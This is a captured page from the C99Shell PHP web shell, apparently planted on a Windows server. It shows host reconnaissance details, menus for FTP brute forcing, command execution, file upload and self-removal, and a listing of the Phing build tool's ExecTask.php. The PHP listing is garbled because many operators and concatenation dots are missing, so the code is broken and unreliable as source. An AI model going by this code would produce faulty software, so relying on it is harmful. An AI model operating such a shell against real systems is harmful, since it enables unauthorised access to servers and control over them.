!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\php\PEAR\phing\tasks\system\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExecTask.php (6.45 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 *  $Id: ExecTask.php 104 2006-08-09 16:44:06Z rob $
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * This software consists of voluntary contributions made by many individuals
 * and is licensed under the LGPL. For more information please see
 * <http://phing.info>.
 */

require_once 'phing/Task.php';

/**
 * Executes a command on the shell.
 *
 * @author   Andreas Aderhold <andi@binarycloud.com>
 * @author   Hans Lellelid <hans@xmpl.org>
 * @version  $Revision: 1.17 $
 * @package  phing.tasks.system
 */
class ExecTask extends Task {

    
/**
     * Command to execute.
     * @var string
     */
    
protected $command;
    
    
/**
     * Working directory.
     * @var File
     */
    
protected $dir;
    
    
/**
     * Operating system.
     * @var string
     */
    
protected $os;
    
    
/**
     * Whether to escape shell command using escapeshellcmd().
     * @var boolean
     */
    
protected $escape false;
    
    
/**
     * Where to direct output.
     * @var File
     */
    
protected $output;
    
    
/**
     * Whether to passthru the output
     * @var boolean
     */
    
protected $passthru false;
    
    
/**
     * Where to direct error output.
     * @var File
     */
    
protected $error;
    
    
/**
     * If spawn is set then [unix] programs will redirect stdout and add '&'.
     * @var boolean
     */
    
protected $spawn false;
    
    
/**
     * Whether to check the return code.
     * @var boolean
     */
    
protected $checkreturn false;
    
    
/**
     * Main method: wraps execute() command.
     * @return void
     */
    
public function main() {
        
$this->execute();
    }
    
    
/**
     * Executes a program and returns the return code.
     * Output from command is logged at INFO level.
     * @return int Return code from execution.
     */
    
public function execute() {
    
         
// test if os match
        
$myos Phing::getProperty("os.name");
        
$this->log("Myos = " $myosPROJECT_MSG_VERBOSE);
        if ((
$this->os !== null) && (strpos($os$myos) === false)) {
            
// this command will be executed only on the specified OS
            
$this->log("Not found in " $osPROJECT_MSG_VERBOSE);
            return 
0;
        }
        
         if (
$this->dir !== null) {
            if (
$this->dir->isDirectory()) {
                
$currdir getcwd();
                @
chdir($this->dir->getPath());
            } else {
                throw new 
BuildException("Can't chdir to:" $this->dir->__toString());
            }
        }


        if (
$this->escape == true) {
            
// FIXME - figure out whether this is correct behavior
            
$this->command escapeshellcmd($this->command);
        }
        
        if (
$this->error !== null) {
            
$this->command .= ' 2> ' $this->error->getPath();
            
$this->log("Writing error output to: " $this->error->getPath());
        }
        
        if (
$this->output !== null) {
            
$this->command .= ' 1> ' $this->output->getPath();
            
$this->log("Writing standard output to: " $this->output->getPath());
        } elseif (
$this->spawn) {
            
$this->command .= ' 1>/dev/null';
            
$this->log("Sending ouptut to /dev/null");
        }
        
        
// If neither output nor error are being written to file
        // then we'll redirect error to stdout so that we can dump
        // it to screen below.

        
if ($this->output === null && $this->error === null) {
            
$this->command .= ' 2>&1';
        }
                
        
// we ignore the spawn boolean for windows
        
if ($this->spawn) {
            
$this->command .= ' &';
        }

        
$this->log("Executing command: " $this->command);
                
        
$output = array();
        
$return null;
        
exec($this->command$output$return);

        if (
$this->dir !== null) {
            @
chdir($currdir);
        }

        foreach(
$output as $line) {
            
$this->log($line,  ($this->passthru PROJECT_MSG_INFO PROJECT_MSG_VERBOSE));
        }
        
        if(
$return != && $this->checkreturn)
        {
          throw new 
BuildException("Task exited with code $return");
        }
        
        return 
$return;
    }

    
/**
     * The command to use.
     * @param mixed $command String or string-compatible (e.g. w/ __toString()).
     */
    
function setCommand($command) {
        
$this->command "" $command;
    }
    
    
/**
     * Whether to use escapeshellcmd() to escape command.
     * @param boolean $escape
     */
    
function setEscape($escape) {
        
$this->escape = (bool) $escape;
    }
    
    
/**
     * Specify the working directory for executing this command.
     * @param PhingFile $dir
     */
    
function setDir(PhingFile $dir) {
        
$this->dir $dir;
    }
    
    
/**
     * Specify OS (or muliple OS) that must match in order to execute this command.
     * @param string $os
     */
    
function setOs($os) {
        
$this->os = (string) $os;
    }
    
    
/**
     * File to which output should be written.
     * @param PhingFile $output
     */
    
function setOutput(PhingFile $f) {
        
$this->output $f;
    }
    
    
/**
     * File to which error output should be written.
     * @param PhingFile $output
     */
    
function setError(PhingFile $f) {
        
$this->error $f;
    }
    
    
/**
     * Whether to use passthru the output.
     * @param boolean $passthru
     */
    
function setPassthru($passthru) {
        
$this->passthru = (bool) $passthru;
    }
    
    
/**
     * Whether to suppress all output and run in the background.
     * @param boolean $spawn
     */
    
function setSpawn($spawn) {
        
$this->spawn  = (bool) $spawn;
    }

    
/**
     * Whether to check the return code.
     * @param boolean $checkreturn
     */
    
function setCheckreturn($checkreturn) {
      
$this->checkreturn = (bool) $checkreturn;
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--